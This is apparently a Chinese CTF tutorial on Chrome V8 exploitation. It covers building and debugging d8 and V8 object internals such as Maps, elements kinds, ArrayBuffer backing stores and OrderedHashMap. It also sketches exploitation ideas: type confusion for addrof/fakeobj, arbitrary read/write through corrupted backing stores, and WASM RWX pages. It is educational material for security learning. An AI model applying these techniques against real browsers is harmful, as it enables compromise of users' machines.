Chrome v8 pwn

背景知识

浏览器框架

它是⼀个多进程+IPC的程序, 不同的进程管理不同的内容,

  • browser process: 主进程
  • rander process: 负责控制渲染内容
  • GPU process: 负责渲染内容
  • utility process: 标签页进程
  • plugin process: 插件进程
    在这里插入图片描述

每个插件, 每个标签页都是单独的进程, 有属于自己的PID
在这里插入图片描述

JS 引擎

各浏览器对应的 js 引擎:

  • V8 是 chrome 的 JS Engine ,同时也是 Node.js 的 JS Engine 。V8调试接口非常丰富,基本上可以给你任何你想要的信息。
  • safari 的 js 引擎是 webkit , 除了 safari , 很多 appstore 的程序也都用 webkit 。
  • edge 以前用的是 chakracore, 现在用 v8 了。chakracore 几乎已经被淘汰了(代码量小,适合学习)
  • firefox 用的是 spidermonkey

JS引擎流水线机制

js 引擎(javascript engine): 处理⼀些 js 语⾔时, 通常是先把网页代码下载下来, 浏览器来解析, 浏览器解析 js 语
句, 达到指定的效果, 浏览器可以说是 js 语⾔的解释器.
在这里插入图片描述

  • parser:
    • 将 js 源代码变成 AST(抽象语法树)
    • 检查错误的语法
    • 为生成 bytecode (字节码)做准备
  • interpreter: 解释器, 可以理解成⼀个自定义的虚拟机(⼀个很大很大的 switch case 分支, 对每个 case 有不同的操作符)
    • 将 AST 转化为 Bytecode
    • 解析执行 Bytecode
    • parser 可以组成⼀个完整的 JS Engine
  • JIT Compiler(optimizing compiler): Just In time编译器
    • Interpreter 执行 bytecode 很慢, JIT 编译器用于优化"Hot Function"(被执行了很多次的函数, 很热门的函数)
    • 搜集函数调用时的实参类型(因为 js 是⼀个弱类型语言, 所以直接丢给 interpreter 解析时会出现大量分支)
    • 如果收集到了可以被 JIT 优化的代码, 就会被丢到 optmizing compiler 的分支中 让 JIT 做优化,如果后续突然参数类型不⼀样了, 那么就 deoptimize (去优化), 重新执行 bytecode . 然后 bytecode 又可以收集类型… 然后依次循环。

常见 JS 引擎架构

  • V8(Chrome)
    在这里插入图片描述

  • SpiderMonkey(FireFox)
    在这里插入图片描述

  • Chakra Core(Edge)
    在这里插入图片描述

  • Webkit(safari)
    在这里插入图片描述

相关资料

环境搭建

ubuntu 18.04

编译 v8

首先下载用于 Chromium 开发的工具 depot_tools 。这个工具用于 v8 的编译。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools 添加到环境变量 PATH 的末尾

export PATH=$PATH:<path to depot_tools>

挂好代理,进入到 depot_tools 。直接安装会 ninja 报错需要先将版本回退到 138bff28** 并且将 DEPOT_TOOLS_UPDATE 设为 0 。之后更新 depot_tools

git reset --hard 138bff28
export DEPOT_TOOLS_UPDATE=0
gclient

出现以下界⾯说明更新成功
在这里插入图片描述
下载 v8,这个时间比较长,下载完后目录下会多一个 v8 文件夹。

fetch v8

出现如下报错是因为之前 fetch 过,depot_tools 有相关记录,需要添加 --force 参数强制下载。

fetch --force v8

在这里插入图片描述

根据题目需求 git checkout 切换 v8 版本,然后 gclient sync -D 下载相关依赖,-D 会删除不需要的依赖。

cd v8
git checkout  7.6.303.28
gclient sync -D

如果 gclient sync 出现如下报错则尝试下面这条命令(貌似也不太行

gclient config https://chromium.googlesource.com/v8/v8

其实这个报错很有可能是修改了 v8 文件夹名称或移动目录导致的,因为每次 fetch v8depot_tools 中都会有相关的记录,sync 需要这些记录 。
在这里插入图片描述

  • 如果题目给的是一个 Chrome 浏览器那么首先安装浏览器然后再网址栏中输入 chrome://version 查看版本,例如:

    112.0.5615.87 (正式版本) (64 位) (cohort: Bypass) 
    

    打开 github 的 chrome 项目,搜索版本号并切换至相应版本。
    在这里插入图片描述
    然后在项目根目录下的 DEPS 文件中查看 V8 版本:
    在这里插入图片描述

  • 如果题目给了 diff 文件需要将 patch 到项目中。

    git apply ./oob.diff
    

之后安装相关依赖,如果遇到下载字体未响应问题需要添加 --no-chromeos-fonts 参数。(每次换版本都要运行,否则 gdb 插件的 job 功能不正常)

./build/install-build-deps.sh

编译 v8 ,这里选的 release 版本。debug 版本改为 x64.debug ,32 为版本将 x64 改为 ia32 。如果调试漏洞的话, 最好选择 release 版本 因为 debug 版本可能会有很多检查。

./tools/dev/gm.py x64.release

另外如果出现路径错误需要切换到 ./tools/dev/ 路径再进行编译。不过这样编译最终生成的 d8tools/dev/out/x64.release 目录下。
在这里插入图片描述
完成后是这个样子
在这里插入图片描述
出现这个错误是因为 out 目录下的 x64.release 文件夹没有删。
在这里插入图片描述

编译生成的 d8./out/x64.release/d8 中。
在这里插入图片描述

调试 v8

~/.gdbinit 添加 v8 的调试插件:

source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

常见参数:

  • --allow-natives-syntax 开启原生API (用的比较多)
  • --trace-turbo 跟踪生成TurboFan IR
  • --print-bytecode 打印生成的bytecode
  • --shell 运行脚本后切入交互模式
  • 更多参数可以参考 --help

调试 js 脚本时可以采用如下命令:

gdb ./d8
r --allow-natives-syntax --shell ./exp.js

js中常见的⼀些调试技巧:

  • 在js中写⼊断点:%SystemBreak(); ,如果不在调试模式的话, 程序直接中断, 如果在调试器中, 会被调试器识别到
    并且断下来。
  • 打印出对象的地址和对应的信息: %DebugPrint(var_name);
  • 调试时输入 job + DebugPrint打印的对象地址 可以打印出对象的结构。

安装 turbolizer

turbolizer 是一个可视化分析 JS 优化的工具,安装命令如下:

sudo apt install npm
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n 16.20.0 # sudo n latest
sudo npm i
sudo npm run-script build

由于 Ubuntu18.04 默认的 node 版本过低,需要安装 16.20.0 版本。另外 sudo npm i 如果成功结果如下图:
在这里插入图片描述

最后需要启动一个 web 服务器,根据需要 8000 可以换成其它端口。

python -m SimpleHTTPServer 8000

编写一个 js 脚本:
%OptimizeFunctionOnNextCall 内置函数可以直接触发强行触发优化。

function add(a, b) {
    return a + b;
}

//%OptimizeFunctionOnNextCall(add);
for (let i = 0; i < 10000000; i++) {
    add(i, i + 1);
}

运行 js 脚本并使用 --trace-turbo 参数

./d8 --trace-turbo --allow-natives-syntax ./test.js

此时会生成如下文件:
在这里插入图片描述
在浏览器(最好使用 Chrome 浏览器,系统自带的火狐浏览器可能有问题。)中访问 http://127.0.0.1:8000/path/to/v8/tools/turbolizer/(注意,这里的路径是相对于 python 启动的 web 服务的路径的相对路径而不是绝对路径) ,然后在其中打开该文件就可以进行分析。
在这里插入图片描述

ubuntu 20.04 及以上(推荐)

编译 v8

下载 depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PATH:<path to depot_tools>
cd depot_tools
gclient

下载、编译 v8

fetch v8
cd v8
gclient sync -D
./build/install-build-deps.sh
./tools/dev/gm.py x64.release

注意要确保 ninja-build 已安装。

apt install ninja-build

安装 turbolizer

sudo apt install npm
sudo npm install -g npm # 升级 npm 到最新版
cd /path/to/v8/tools/turbolizer
sudo npm install n -g
sudo n latest # 升级 nodejs 到最新版
sudo npm i
sudo npm run-script build

浏览器利用常用的class

数组 Array

  • 数组是JS最常用的class之一,它可以存放任意类型的js object。
  • 有一个 length 属性,可以通过下标来线性访问它的每一个元素。
  • 有许多可以修改元素的接口。
  • 当元素为object时,只保留指针。

ArrayBuffer 和 DataView

ArrayBuffer

ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer 不能直接操作,而是要通过类型数组对象或 DataView 对象来操作,它们会将缓冲区中的数据表示为特定的格式,并通过这些格式来读写缓冲区的内容。

  • 语法

    new ArrayBuffer(length)
    
  • 参数

    • length 要创建的 ArrayBuffer 的大小,单位为字节。
  • 返回值:一个指定大小的 ArrayBuffer 对象,其内容被初始化为 0

DataView

DataView 是一个可以从 ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。

  • 语法

    new DataView(buffer [, byteOffset [, byteLength]])
    
  • 参数

    • buffer:一个 ArrayBufferSharedArrayBuffer 对象,DataView 对象的数据源。
    • byteOffset(可选):此 DataView 对象的第一个字节在 buffer 中的偏移。如果未指定,则默认从第一个字节开始。
    • byteLength(可选):此 DataView 对象的字节长度。如果未指定,则默认与 buffer 的长度相同。
  • 返回值:一个 DataView 对象,用于呈现指定的缓存区数据。你可以把返回的对象想象成一个二进制 array buffer 的“解释器”——它知道如何在读取或写入时正确地转换字节码。这意味着它能在二进制层面处理整数与浮点转化、字节顺序等其他有关的细节问题。

举例

例如下面这段代码

var ab = new ArrayBuffer(0x100);
var dv = new DataView(ab);
dv.setUint32(0, 0xdeadbeef, true);
console.log(dv.getUint16(2, true));

%DebugPrint(dv);
%SystemBreak();

这段代码输出结果是 57005 ,即 0xdead 。
在这里插入图片描述

WASM(WebAssembly)

  • 顾名思义,是Asm on the web 。但其实不是真正意义上的汇编,只是更加接近汇编。

  • 常用接口有

    • WebAssembly.Module():创建一个新的 WebAssembly 模块对象。
    • WebAssembly.Instance():创建一个新的 WebAssembly 实例对象。
    • WebAssembly.Memory():创建一个新的 WebAssembly 内存对象。
    • WebAssembly.Table():创建一个新的 WebAssembly 表格对象。
  • 最重要的特点:可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。

    let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
        128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
        0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
        0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
        97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
        42, 11]);
    let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
    let f = wasm_mod.exports.main;
    
    %SystemBreak();
    

    在这里插入图片描述

V8 的 object 通用结构

  • Object 可以拥有任意属性
  • 属性名可以是数字和字母的组合
  • 名字为数字的属性被称作 element ,其他的被称作 property
    在这里插入图片描述

Hidden Class (Map)

Hidden Class 也被称作 Object Map,简称 Map。位于 V8 Object 的第一个 8 字节。
任何由 v8 gc 管理的 Js Object ,它的前 8 个字节(或者在 32 位上是前四个字节)都是⼀个指向 Map 的指针。
Map 中比较重要的字段是一个指向 DescriptorArray 的指针,里面包含有关name properties的信息,例如属性名和存储属性值的位置。
具有相同 Map 的两个 JS object ,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map 的地址即可确定类型是否⼀致,同理,替换掉 Map 就可以进行类型混淆。

在一些利用中,可以通过伪造 Type 字段来伪造 Map

Properties

Properties 用于保持非数字索引的属性,分为 Inline PropertyFast PropertiesDictionary Properties

Inline Property

in-object proterty ,存放在 object 本身,而不是在 Properties 指针指向的内存,需要 Descriptor Array

Fast Properties

Fast Properties 线性保存在 Properties 指针指向的内存中,需要 Descriptor Array

Dictionary Properties

Dictionary PropertiesSlow Properties,以哈希表的形式保存在 Properties 指针指向的内存中,不需要 Descriptor Array

Elements

Elements 用于保存数字索引的属性。

Packed Elements & Holey Elements

如果各个属性之间连续,那么可以直接开一个数组(下标从 0 开始)来表示 Elements,如果有的下标没有对应的属性则数组中该下标对应的值为一个特殊值,此时这个 Elements 被称为 Holey Elements 。如果数组中每个下标都对应属性则这个 Elements 被称为 Packed Elements

例如下面这个脚本:

const a = ['a', 'b', 'c'];

%DebugPrint(a);
%SystemBreak();

delete a[1];
console.log(a[1]);
%SystemBreak();

a.__proto__ = {1: 'B', 2: "C"};
console.log(a[0]);
console.log(a[1]);
console.log(a[2]);
console.log(a[3]);
%SystemBreak();

调试结果如下:

0x37815f38bba9 <JSArray[3]>
pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446c3069 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x1b0fcc0517a1 <JSArray[0]>
 - elements: 0x37815f38bb21 <FixedArray[3]> [PACKED_ELEMENTS (COW)]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bb21 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c7571 <String[#1]: b>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }
 
...

pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446c30b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1b0fcc0517a1 <JSArray[0]>
 - elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bbc9 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c05b1 <the_hole>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }

...

pwndbg> job 0x37815f38bba9
0x37815f38bba9: [JSArray]
 - map: 0x39d6446ca599 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x37815f38bbf1 <Object map = 0x39d6446ca639>
 - elements: 0x37815f38bbc9 <FixedArray[3]> [HOLEY_ELEMENTS]
 - length: 3
 - properties: 0x010c0d5c0c21 <FixedArray[0]> {
    #length: 0x247fa62001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37815f38bbc9 <FixedArray[3]> {
           0: 0x010c0d5c74b1 <String[#1]: a>
           1: 0x010c0d5c05b1 <the_hole>
           2: 0x1b0fcc05f4f9 <String[#1]: c>
 }
pwndbg> job 0x37815f38bbf1
0x37815f38bbf1: [JS_OBJECT_TYPE]
 - map: 0x39d6446ca639 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x1b0fcc042091 <Object map = 0x39d6446c0229>
 - elements: 0x37815f38bc29 <FixedArray[19]> [HOLEY_ELEMENTS]
 - properties: 0x37815f38bd01 <NameDictionary[17]> {
 }
 - elements: 0x37815f38bc29 <FixedArray[19]> {
           0: 0x010c0d5c05b1 <the_hole>
           1: 0x1b0fcc05f551 <String[#1]: B>
           2: 0x1b0fcc05f581 <String[#1]: C>
        3-18: 0x010c0d5c05b1 <the_hole>
 }

在这里插入图片描述

Fast Elements & Dictionary Elements

Fast ElementsDictionary Elements 的区别是存储方式是线性保存还是词典保存。 Dictionary Elements 主要用于 Holey Element 特别多的情况。

常见类型结构

处理通用对象外,v8 还内置了一些常见类型。

在 v8 源码的 v8/src/objects/objects.h 中有对 v8 各种类型之间继承关系的描述。

Most object types in the V8 JavaScript are described in this file.

Inheritance hierarchy:

  • Object
    • Smi (immediate small integer)
    • TaggedIndex (properly sign-extended immediate small integer)
    • HeapObject (superclass for everything allocated in the heap)
      • JSReceiver (suitable for property access)
        • JSObject
          • JSArray
            • TemplateLiteralObject
          • JSArrayBuffer
          • JSArrayBufferView
            • JSTypedArray
            • JSDataView
          • JSCollection
            • JSSet
            • JSMap
          • JSCustomElementsObject (may have elements despite empty FixedArray)
            • JSSpecialObject (requires custom property lookup handling)
              • JSGlobalObject
              • JSGlobalProxy
              • JSModuleNamespace
            • JSPrimitiveWrapper
          • JSDate
          • JSFunctionOrBoundFunctionOrWrappedFunction
            • JSBoundFunction
            • JSFunction
            • JSWrappedFunction
          • JSGeneratorObject
          • JSMapIterator
          • JSMessageObject
          • JSRegExp
          • JSSetIterator
          • JSShadowRealm
          • JSSharedStruct
          • JSStringIterator
          • JSTemporalCalendar
          • JSTemporalDuration
          • JSTemporalInstant
          • JSTemporalPlainDate
          • JSTemporalPlainDateTime
          • JSTemporalPlainMonthDay
          • JSTemporalPlainTime
          • JSTemporalPlainYearMonth
          • JSTemporalTimeZone
          • JSTemporalZonedDateTime
          • JSWeakCollection
            • JSWeakMap
            • JSWeakSet
          • JSCollator // If V8_INTL_SUPPORT enabled.
          • JSDateTimeFormat // If V8_INTL_SUPPORT enabled.
          • JSDisplayNames // If V8_INTL_SUPPORT enabled.
          • JSDurationFormat // If V8_INTL_SUPPORT enabled.
          • JSListFormat // If V8_INTL_SUPPORT enabled.
          • JSLocale // If V8_INTL_SUPPORT enabled.
          • JSNumberFormat // If V8_INTL_SUPPORT enabled.
          • JSPluralRules // If V8_INTL_SUPPORT enabled.
          • JSRelativeTimeFormat // If V8_INTL_SUPPORT enabled.
          • JSSegmenter // If V8_INTL_SUPPORT enabled.
          • JSSegments // If V8_INTL_SUPPORT enabled.
          • JSSegmentIterator // If V8_INTL_SUPPORT enabled.
          • JSV8BreakIterator // If V8_INTL_SUPPORT enabled.
          • WasmExceptionPackage
          • WasmTagObject
          • WasmGlobalObject
          • WasmInstanceObject
          • WasmMemoryObject
          • WasmModuleObject
          • WasmTableObject
          • WasmSuspenderObject
        • JSProxy
      • FixedArrayBase
        • ByteArray
        • BytecodeArray
        • FixedArray
          • HashTable
            • Dictionary
            • StringTable
            • StringSet
            • CompilationCacheTable
            • MapCache
          • OrderedHashTable
            • OrderedHashSet
            • OrderedHashMap
          • FeedbackMetadata
          • TemplateList
          • TransitionArray
          • ScopeInfo
          • SourceTextModuleInfo
          • ScriptContextTable
          • ClosureFeedbackCellArray
        • FixedDoubleArray
      • PrimitiveHeapObject
        • BigInt
        • HeapNumber
        • Name
          • String
            • SeqString
              • SeqOneByteString
              • SeqTwoByteString
            • SlicedString
            • ConsString
            • ThinString
            • ExternalString
              • ExternalOneByteString
              • ExternalTwoByteString
            • InternalizedString
              • SeqInternalizedString
                • SeqOneByteInternalizedString
                • SeqTwoByteInternalizedString
              • ConsInternalizedString
              • ExternalInternalizedString
                • ExternalOneByteInternalizedString
                • ExternalTwoByteInternalizedString
          • Symbol
        • Oddball
      • Context
        • NativeContext
      • Cell
      • DescriptorArray
      • PropertyCell
      • PropertyArray
      • InstructionStream
      • AbstractCode, a wrapper around Code or BytecodeArray
      • GcSafeCode, a wrapper around Code
      • Map
      • Foreign
      • SmallOrderedHashTable
        • SmallOrderedHashMap
        • SmallOrderedHashSet
      • SharedFunctionInfo
      • Struct
        • AccessorInfo
        • AsmWasmData
        • PromiseReaction
        • PromiseCapability
        • AccessorPair
        • AccessCheckInfo
        • InterceptorInfo
        • CallHandlerInfo
        • EnumCache
        • TemplateInfo
          • FunctionTemplateInfo
          • ObjectTemplateInfo
        • Script
        • DebugInfo
        • BreakPoint
        • BreakPointInfo
        • CallSiteInfo
        • CodeCache
        • PropertyDescriptorObject
        • PromiseOnStack
        • PrototypeInfo
        • Microtask
          • CallbackTask
          • CallableTask
          • PromiseReactionJobTask
            • PromiseFulfillReactionJobTask
            • PromiseRejectReactionJobTask
          • PromiseResolveThenableJobTask
        • Module
          • SourceTextModule
          • SyntheticModule
        • SourceTextModuleInfoEntry
        • StackFrameInfo
      • FeedbackCell
      • FeedbackVector
      • PreparseData
      • UncompiledData
        • UncompiledDataWithoutPreparseData
        • UncompiledDataWithPreparseData
      • SwissNameDictionary

Formats of Object::ptr_: Smi: [31 bit signed int] 0
HeapObject: [32 bit direct pointer] (4 byte aligned) | 01

Smi

所有不超过 0x7FFFFFFF 的整数都以 Smi 的形式存储。

  • 在 32 位上可以表示有符号的 31 位的整数,通过右移一位可以获得原始值。
    在这里插入图片描述
  • 在 64 位上可以表示有符号的32位的整数,通过右移 32 位可以获得原始值
    在这里插入图片描述

HeapObject 指针

最低位为 1 表示指向 HeapObject 的指针。

  • 32 位
    在这里插入图片描述
  • 64位
    在这里插入图片描述

Heap Number

表示不能在 Smi 范围内表⽰的整数,均以 double 值的形式保存在 Heap NumberValue 里。
在这里插入图片描述

String

保存字符串对象,具体结构各版本之间可能存在差异。
在这里插入图片描述

JSArray

继承自 ObjectHeapObjectJSReceiver
在这里插入图片描述
v8 的 JSArray 遵循图中格的变化,从左到右,从上到下,不可逆。
在这里插入图片描述

规律:

  • 存在 Smi 和浮点数则都用浮点数表示
  • 存在 Object 类型则都用 Object 类型表示。
  • elements 之间空隙过大转为字典存储。

在实际的漏洞利用中,我们常构造出 double array 和 obj array 的类型混淆,从而构建 addrof 和 fakeobj 原语。

JSArrayBuffer

JSArrayBuffer ,顾名思义,就是保存有⼀个被称作 BackingStore 的 buffer 的对象。
在 V8 中,对象通常被存放在由 V8 GC 管理的 mapped 区域,然而 BackingStore 是⼀个不被 V8 GC 管理的区域,(事实上它在 Chrome 里是由 PartitionAlloc 来管理,在 d8 里则是用 ptmalloc 来模拟管理),此外,由于它不是由 GC 管理的 HeapObject ,因 此指向 BackingStore 的指针不是 Tagged Value(末尾不能为1)。
在这里插入图片描述

  • 虽然在 ArrayBuffer 中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出 BackingStore 数组的范围。
    同样,如果也可以重写 BackingStore 指针,则可以读取和写入任意内存地址,这些是在 exploit 中常用的方法。

JSTypedArray

由于 JSArrayBuffer 实际上只是持有 BackingStore 指针的对象,换句话说,它只是⼀个 buffer ,所以在 js 的设计⾥,对 BackStore 的读写需要依赖于 TypedArray 或者 DataView
在这里插入图片描述
在漏洞利用时通常使用 JSTypedArray 进行整型和浮点数类型的转换。

var ab = new ArrayBuffer(0x8);
var f64 = new Float64Array(ab);
var i64 = new BigUint64Array(ab);

function d2u(val) {
    f64[0] = val;
    return i64[0];
}

function u2d(val) {
    i64[0] = val;
    return f64[0];
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

// let val = "0x1145141919810";
let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));

// 1.501041597677047e-309
// 0x0001145141919810

JSDataView

也是用来读写 ArrayBufferBackingStore 的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
在这里插入图片描述
利用 JDataView 实现的类型转换:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

let val = 0x1145141919810n;
print(u2d(val));
print(hex(d2u(u2d(val))));

JSMap

JSMap 是一种可以按照添加顺序遍历其中元素的 Hash Map ,即 OrderedHashMap。在 V8 漏洞利用中常与 Hole 类型漏洞结合使用。

var map = new Map();

9.5.172 版本 V8 为例,OrderedHashMap 的查看方式如下:
在这里插入图片描述
这里解释一下各个字段的含义:

  • FixedArray length:是 V8 在访问 OrderedHashMap 时会将整个 OrderedHashMap 看作一个 Array,这个就是 Array 的长度。即除去 MapFixedArray length 外的部分的长度的字节数除以 4 。
  • elementsMap 中的 key 的数量。
  • deleteMap 中删除的元素数量,也就是当前 MapHole 的数量。
  • buckets(smi):后面 buckets(HashTable) 的长度,通常是 2 的整数次幂。
  • capacityelements 区域能存放的 Entry 的数量。capacitybuckets 乘 2 计算出来的,在 OrderedHashMap 的内存区域中也没有体现。
  • buckets(HashTable):哈希表,在 ComputeUnseededHash(key) & (buckets - 1) 计算出的位置上存放键值对在 elements 中的下标(实际是 elements 中的下标索引的一个单向链表)。该表默认填充为 -1 。
  • elements:按照加入的顺序存放所有键值对组成的 Entry 。该表默认填充为 undefine

注意:在这个版本的 v8 中 32 位的 smi 不是左移 32 位而是左移 1 位,占用 4 字节。例如 1 表示为 0x00000002,-1 表示为 0xFFFFFFFE 。

OrderedHashMap 在内存中的分布大致如下图所示,其中每个格子的大小为 4 字节。
在这里插入图片描述

set

set(key, value)Map 中用来设置键值对的方法,具体接口定义如下:

TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler)

这里假设 key 的类型为 smi ,首先 TryLookupOrderedHashTableIndex 查找 key 对应的 Entry ,从代码中可以看到 JSMap 使用的哈希函数 ComputeUnseededHash 。程序最终通过 FindOrderedHashTableEntry 查找 key 对应的 Entry

TNode<Word32T> CollectionsBuiltinsAssembler::ComputeUnseededHash(
    TNode<IntPtrT> key) {
  // See v8::internal::ComputeUnseededHash()
  TNode<Word32T> hash = TruncateIntPtrToInt32(key);
  hash = Int32Add(Word32Xor(hash, Int32Constant(0xFFFFFFFF)),
                  Word32Shl(hash, Int32Constant(15)));
  hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(12)));
  hash = Int32Add(hash, Word32Shl(hash, Int32Constant(2)));
  hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(4)));
  hash = Int32Mul(hash, Int32Constant(2057));
  hash = Word32Xor(hash, Word32Shr(hash, Int32Constant(16)));
  return Word32And(hash, Int32Constant(0x3FFFFFFF));
}

template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForSmiKey(
    TNode<CollectionType> table, TNode<Smi> smi_key, TVariable<IntPtrT>* result,
    Label* entry_found, Label* not_found) {
  const TNode<IntPtrT> key_untagged = SmiUntag(smi_key);
  const TNode<IntPtrT> hash =
      ChangeInt32ToIntPtr(ComputeUnseededHash(key_untagged));
  CSA_ASSERT(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
  *result = hash;
  FindOrderedHashTableEntry<CollectionType>(
      table, hash,
      [&](TNode<Object> other_key, Label* if_same, Label* if_not_same) {
        SameValueZeroSmi(smi_key, other_key, if_same, if_not_same);
      },
      result, entry_found, not_found);
}

template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
    const TNode<CollectionType> table, const TNode<Object> key,
    TVariable<IntPtrT>* result, Label* if_entry_found, Label* if_not_found) {
  ...
  BIND(&if_key_smi);
  {
    FindOrderedHashTableEntryForSmiKey<CollectionType>(
        table, CAST(key), result, if_entry_found, if_not_found);
  }
  ...
}

  TryLookupOrderedHashTableIndex<OrderedHashMap>(
      table, key, &entry_start_position_or_hash, &entry_found, &not_found);

FindOrderedHashTableEntry 函数接口如下:

template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntry(
    const TNode<CollectionType> table, const TNode<IntPtrT> hash,
    const std::function<void(TNode<Object>, Label*, Label*)>& key_compare,
    TVariable<IntPtrT>* entry_start_position, Label* entry_found,
    Label* not_found)

FindOrderedHashTableEntry 首先计算出 Key 对应 HashTable 中的下标,这里是将前面计算出的 key 的哈希值与上 number_of_buckets,即 ComputeUnseededHash(key) & (buckets - 1) 。最后的 first_entryHashTable 该位置上的值。

  const TNode<IntPtrT> number_of_buckets =
      SmiUntag(CAST(UnsafeLoadFixedArrayElement(
          table, CollectionType::NumberOfBucketsIndex())));
  const TNode<IntPtrT> bucket =
      WordAnd(hash, IntPtrSub(number_of_buckets, IntPtrConstant(1)));
  const TNode<IntPtrT> first_entry = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
      table, bucket, CollectionType::HashTableStartIndex() * kTaggedSize)));

之后循环遍历链表,直到找到 key 对应的 entry 或者找到 CollectionType::kNotFound

这里注意到在遍历链表时有检查,因此在漏洞利用时应避免遍历链表的操作,即 HashTable[ComputeUnseededHash(key) & (buckets - 1)] 应该为 -1 。

 // Walk the bucket chain.
  TNode<IntPtrT> entry_start;
  Label if_key_found(this);
  {
    TVARIABLE(IntPtrT, var_entry, first_entry);
    Label loop(this, {&var_entry, entry_start_position}),
        continue_next_entry(this);
    Goto(&loop);
    BIND(&loop);

    // If the entry index is the not-found sentinel, we are done.
    GotoIf(IntPtrEqual(var_entry.value(),
                       IntPtrConstant(CollectionType::kNotFound)),
           not_found);

    // Make sure the entry index is within range.
    CSA_ASSERT(
        this,
        UintPtrLessThan(
            var_entry.value(),
            SmiUntag(SmiAdd(
                CAST(UnsafeLoadFixedArrayElement(
                    table, CollectionType::NumberOfElementsIndex())),
                CAST(UnsafeLoadFixedArrayElement(
                    table, CollectionType::NumberOfDeletedElementsIndex()))))));

    // Compute the index of the entry relative to kHashTableStartIndex.
    entry_start =
        IntPtrAdd(IntPtrMul(var_entry.value(),
                            IntPtrConstant(CollectionType::kEntrySize)),
                  number_of_buckets);

    // Load the key from the entry.
    const TNode<Object> candidate_key = UnsafeLoadFixedArrayElement(
        table, entry_start,
        CollectionType::HashTableStartIndex() * kTaggedSize);

    key_compare(candidate_key, &if_key_found, &continue_next_entry);

    BIND(&continue_next_entry);
    // Load the index of the next entry in the bucket chain.
    var_entry = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
        table, entry_start,
        (CollectionType::HashTableStartIndex() + CollectionType::kChainOffset) *
            kTaggedSize)));

    Goto(&loop);
  }
  BIND(&if_key_found);
  *entry_start_position = entry_start;
  Goto(entry_found);

如果在 Map 中已经存在待加入的 key 了,则调用 StoreFixedArrayElement 更新 Entry 中的 value ,这里的 entry_start_position_or_hash 即前面 TryLookupOrderedHashTableIndex 找到的 Entryelements 中的下标(实际上是相当于 table 的偏移)。

  BIND(&entry_found);
  // If we found the entry, we just store the value there.
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(), value,
                         UPDATE_WRITE_BARRIER,
                         kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                                        OrderedHashMap::kValueOffset));
  Return(receiver);

之后特判了 entry_start_position_or_hash 不是 hash code 的情况(??)

  Label no_hash(this), add_entry(this), store_new_entry(this);
  BIND(&not_found);
  {
    // If we have a hash code, we can start adding the new entry.
    GotoIf(IntPtrGreaterThan(entry_start_position_or_hash.value(),
                             IntPtrConstant(0)),
           &add_entry);

    // Otherwise, go to runtime to compute the hash code.
    entry_start_position_or_hash = SmiUntag(CallGetOrCreateHashRaw(CAST(key)));
    Goto(&add_entry);
  }

之后判断是否满足 elements + deletes < buckets << 1 ,如果不满足则增加 Map 的容量。这就是为什么调试的时候 OrderedHashMap 的位置一直在变。

  BIND(&add_entry);
  TVARIABLE(IntPtrT, number_of_buckets);
